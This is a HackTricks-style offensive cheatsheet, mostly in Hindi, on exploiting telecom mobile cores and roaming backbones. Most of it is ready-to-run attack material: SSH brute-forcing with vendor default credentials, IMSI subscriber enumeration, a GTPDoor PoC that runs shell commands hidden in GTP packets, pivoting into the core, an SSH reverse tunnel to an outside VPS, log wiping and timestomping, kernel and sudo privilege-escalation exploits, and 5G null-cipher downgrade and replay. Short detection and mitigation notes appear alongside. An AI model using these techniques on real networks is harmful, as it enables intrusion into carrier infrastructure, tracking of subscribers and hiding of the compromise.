Telecom Network Exploitation (GTP / Roaming Environments)

Reading time: 12 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

note

Mobile-core protocols (GPRS Tunnelling Protocol – GTP) अक्सर semi-trusted GRX/IPX roaming backbones से गुजरते हैं। क्योंकि ये plain UDP पर चलते हैं और लगभग कोई authentication नहीं होता, telecom perimeter के भीतर किसी भी foothold से आम तौर पर core signalling planes तक सीधे पहुँच बन सकती है। नीचे के नोट्स में wild में देखे गए SGSN/GGSN, PGW/SGW और अन्य EPC nodes के खिलाफ उपयोग किए गए offensive tricks संकलित किए गए हैं।

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

एक चौंकाने वाली बड़ी संख्या में vendor network elements हार्ड-कोडेड SSH/Telnet users के साथ शिप होती हैं, जैसे root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … एक dedicated wordlist brute-force सफलता को नाटकीय रूप से बढ़ा देता है:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

यदि डिवाइस केवल एक management VRF ही एक्सपोज़ करता है, तो पहले एक jump host के माध्यम से pivot करें (नीचे अनुभाग «SGSN Emu Tunnel» देखें)।

1.2 GRX/IPX के अंदर होस्ट खोज

अधिकांश GRX ऑपरेटर अभी भी बैकबोन पर ICMP echo की अनुमति देते हैं। masscan को built-in gtpv1 UDP probes के साथ मिलाकर तेजी से GTP-C listeners को मैप करें:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. सब्सक्राइबर सूचीकरण – cordscan

निम्नलिखित Go टूल GTP-C Create PDP Context Request पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर पूछे गए IMSI को सेवा देने वाला वर्तमान SGSN / MME प्रकट करता है, और कभी-कभी सब्सक्राइबर द्वारा दौरा किया गया PLMN भी।

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

मुख्य फ़्लैग:

  • --imsi लक्षित सब्सक्राइबर IMSI
  • --oper होम / HNI (MCC+MNC)
  • -w Write raw packets to pcap

बाइनरी के अंदर के महत्वपूर्ण constants को स्कैन विस्तारित करने के लिए patched किया जा सकता है:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. GTP पर कोड निष्पादन – GTPDoor

GTPDoor एक छोटा ELF service है जो UDP 2123 को bind करता है और हर incoming GTP-C packet को parse करता है। जब payload किसी pre-shared tag से शुरू होता है, तो शेष हिस्सा decrypted (AES-128-CBC) किया जाता है और /bin/sh -c के माध्यम से execute किया जाता है। stdout/stderr को Echo Response messages के अंदर exfiltrate किया जाता है ताकि कोई outward session कभी create न हो।

न्यूनतम PoC पैकेट (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

पता लगाना:

  • कोई host जो SGSN IPs को unbalanced Echo Requests भेज रहा हो
  • GTP version flag 1 पर सेट है जबकि message type = 1 (Echo) – spec से विचलन

4. कोर के माध्यम से Pivoting

4.1 sgsnemu + SOCKS5

OsmoGGSN एक SGSN इम्यूलेटर के साथ आता है जो establish a PDP context towards a real GGSN/PGW करने में सक्षम है। एक बार नेगोशिएट हो जाने पर, Linux को एक नया tun0 interface मिलता है जो roaming peer से पहुंच योग्य होता है।

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

सही firewall hair-pinning के साथ, यह tunnel signalling-only VLANs को बायपास करके आपको सीधे data plane में पहुंचा देता है।

4.2 SSH Reverse Tunnel over Port 53

DNS लगभग हमेशा roaming infrastructures में open रहता है। एक internal SSH service को अपने VPS पर :53 पर सुनने के लिए Expose करें और बाद में घर से वापस कनेक्ट करें:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Check that GatewayPorts yes is enabled on the VPS.

5. Covert Channels

चैनलट्रांसपोर्टडिकोडिंगनोट्स
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)pure passive listener, no outbound traffic
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octets*.nodep sub-domain के लिए देखता है
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEवैध GTP-C chatter के साथ मिल जाता है

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. Defense Evasion Cheatsheet

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Legacy NE पर Privilege Escalation

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

साफ-सफाई सुझाव:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. टूल बॉक्स

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – कस्टम टूलिंग पिछली अनुभागों में वर्णित।
  • FScan : इंट्रानेट TCP स्कैन (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : लाइटवेट SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS रजिस्ट्रेशन अटैक: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

5G रजिस्ट्रेशन प्रक्रिया NAS (Non-Access Stratum) पर NGAP के ऊपर चलती है। जब तक NAS सुरक्षा Security Mode Command/Complete द्वारा सक्रिय नहीं होती, आरंभिक संदेश अप्रमाणित और एन्क्रिप्टेड नहीं होते। यह प्री‑सिक्योरिटी विंडो कई हमला मार्ग सक्षम करती है जब आप N2 ट्रैफिक को अवलोकन या छेड़छाड़ कर सकते हैं (उदा., कोर के अंदर on-path, rogue gNB, या टेस्टबेड पर)।

Registration flow (सरलीकृत):

  • Registration Request: UE SUCI भेजता है (एन्क्रिप्टेड SUPI) और capabilities।
  • Authentication: AMF/AUSF RAND/AUTN भेजते हैं; UE RES* लौटाता है।
  • Security Mode Command/Complete: NAS इंटीग्रिटी और सिफरिंग पर समझौता किया जाता है और सक्रिय किया जाता है।
  • PDU Session Establishment: IP/QoS सेटअप।

Lab setup tips (non-RF):

  • Core: Open5GS का डिफ़ॉल्ट deployment फ्लो दोहराने के लिए पर्याप्त है।
  • UE: सिम्युलेटर या टेस्ट UE; Wireshark का उपयोग करके डीकोड करें।
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Wireshark में उपयोगी डिस्प्ले फ़िल्टर:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

अपेक्षित: UE/USIM को SUCI (होम‑नेटवर्क सार्वजनिक कुंजी से एन्क्रिप्टेड SUPI) प्रसारित करना चाहिए। Registration Request में plaintext SUPI/IMSI मिलने का मतलब गोपनीयता दोष है जो लगातार सब्सक्राइबर ट्रैकिंग को सक्षम करता है।

परीक्षण कैसे करें:

  • InitialUEMessage में पहला NAS संदेश कैप्चर करें और Mobile Identity IE की जाँच करें।
  • Wireshark त्वरित जाँच:
  • इसे SUCI के रूप में डिकोड होना चाहिए, IMSI के रूप में नहीं।
  • फ़िल्टर उदाहरण: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci मौजूद होना चाहिए; अनुपस्थिति और imsi की उपस्थिति लीक को संकेत करती है।

क्या एकत्र करें:

  • यदि एक्सपोज़ हैं तो MCC/MNC/MSIN; प्रति-UE लॉग करें और समय/स्थान के साथ ट्रैक करें।

निवारण:

  • केवल SUCI-सपोर्टेड UEs/USIMs लागू करें; initial NAS में किसी भी IMSI/SUPI पर अलर्ट करें।

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

पृष्ठभूमि:

  • UE Registration Request के UE Security Capability IE में समर्थित EEA (एन्क्रिप्शन) और EIA (इंटीग्रिटी) विज्ञापन करता है।
  • सामान्य मैपिंग्स: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algorithms हैं।

समस्या:

  • क्योंकि Registration Request इंटीग्रिटी‑प्रोटेक्टेड नहीं होता, एक on-path attacker capability bits क्लियर करके बाद में Security Mode Command के दौरान EEA0/EIA0 के चयन को जबरन कर सकता है। कुछ stacks गलत तरीके से आपातकालीन सेवाओं के बाहर null algorithms की अनुमति देते हैं।

आक्रामक कदम:

  • InitialUEMessage को इंटरसेप्ट करें और NAS UE Security Capability को केवल EEA0/EIA0 विज्ञापन करने के लिए संशोधित करें।
  • Sni5Gect के साथ, NAS संदेश को हुक करें और अग्रेषित करने से पहले capability bits को patch करें।
  • देखें कि क्या AMF null ciphers/ integrity स्वीकार करता है और EEA0/EIA0 के साथ Security Mode पूरा होता है।

सत्यापन/दृश्यता:

  • Wireshark में, Security Mode Command/Complete के बाद चयनित algorithms की पुष्टि करें।
  • उदाहरण passive sniffer आउटपुट:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

रोकथाम (अनिवार्य):

  • AMF/policy को EEA0/EIA0 अस्वीकार करने के लिए कॉन्फ़िगर करें, केवल उन मामलों में जहाँ कड़ाई से अनिवार्य हो (उदा., आपातकालीन कॉल)।
  • न्यूनतम के रूप में EEA2/EIA2 लागू करने को प्राथमिकता दें; किसी भी NAS सुरक्षा संदर्भ पर जो null algorithms पर negotiation करता है, उसके लिए लॉग और अलार्म सेट करें।

9.3 प्रारंभिक Registration Request का Replay (pre-security NAS)

क्योंकि प्रारंभिक NAS में अखंडता और नवीनता की कमी होती है, कैप्चर किया गया InitialUEMessage+Registration Request AMF को replay किया जा सकता है।

PoC rule for 5GReplay to forward matching replays:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • क्या AMF replay स्वीकार करता है और Authentication की प्रक्रिया की ओर बढ़ता है; freshness/context सत्यापन का अभाव जोखिम दर्शाता है।

Mitigations:

  • AMF पर replay protection/context binding लागू करें; प्रति-GNB/UE दर-सीमा लागू करें और सहसंबंध स्थापित करें।

9.4 टूलिंग संकेत (पुनरुत्पाद्य)

  • Open5GS: core का अनुकरण करने के लिए एक AMF/SMF/UPF चलाएं; N2 (NGAP) और NAS का निरीक्षण करें।
  • Wireshark: NGAP/NAS के decodes सत्यापित करें; Registration अलग करने के लिए ऊपर दिए गए filters लागू करें।
  • 5GReplay: एक registration capture करें, फिर नियम के अनुसार विशिष्ट NGAP + NAS संदेश replay करें।
  • Sni5Gect: NAS control-plane को live sniff/modify/inject करके null algorithms को मजबूर करें या authentication sequences में गड़बड़ी करें।

9.5 रक्षा चेकलिस्ट

  • Registration Request में plaintext SUPI/IMSI के लिए लगातार निरीक्षण करें; दोषपूर्ण devices/USIMs को ब्लॉक करें।
  • EEA0/EIA0 को संकुचित रूप से परिभाषित आपातकालीन प्रक्रियाओं को छोड़कर अस्वीकार करें; कम से कम EEA2/EIA2 की मांग करें।
  • rogue या गलत कॉन्फ़िगर की गई infrastructure का पता लगाएं: unauthorized gNB/AMF, अप्रत्याशित N2 peers।
  • उन NAS security modes पर अलर्ट करें जो null algorithms या InitialUEMessage के बार-बार replay का परिणाम देते हैं।

पहचान के विचार

  1. SGSN/GGSN के अलावा कोई भी डिवाइस जो Create PDP Context Requests स्थापित कर रहा हो
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes आंतरिक IPs से।
  3. Frequent Echo Requests without corresponding Echo Responses – GTPDoor beacons का संकेत दे सकते हैं।
  4. बड़े, non-zero identifier/sequence फ़ील्ड्स के साथ उच्च दर का ICMP echo-reply ट्रैफ़िक
  5. 5G: InitialUEMessage जो NAS Registration Requests लेकर समान endpoints से दोहराए जा रहे हों (replay signal)।
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 आपातकालीन संदर्भों के बाहर।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें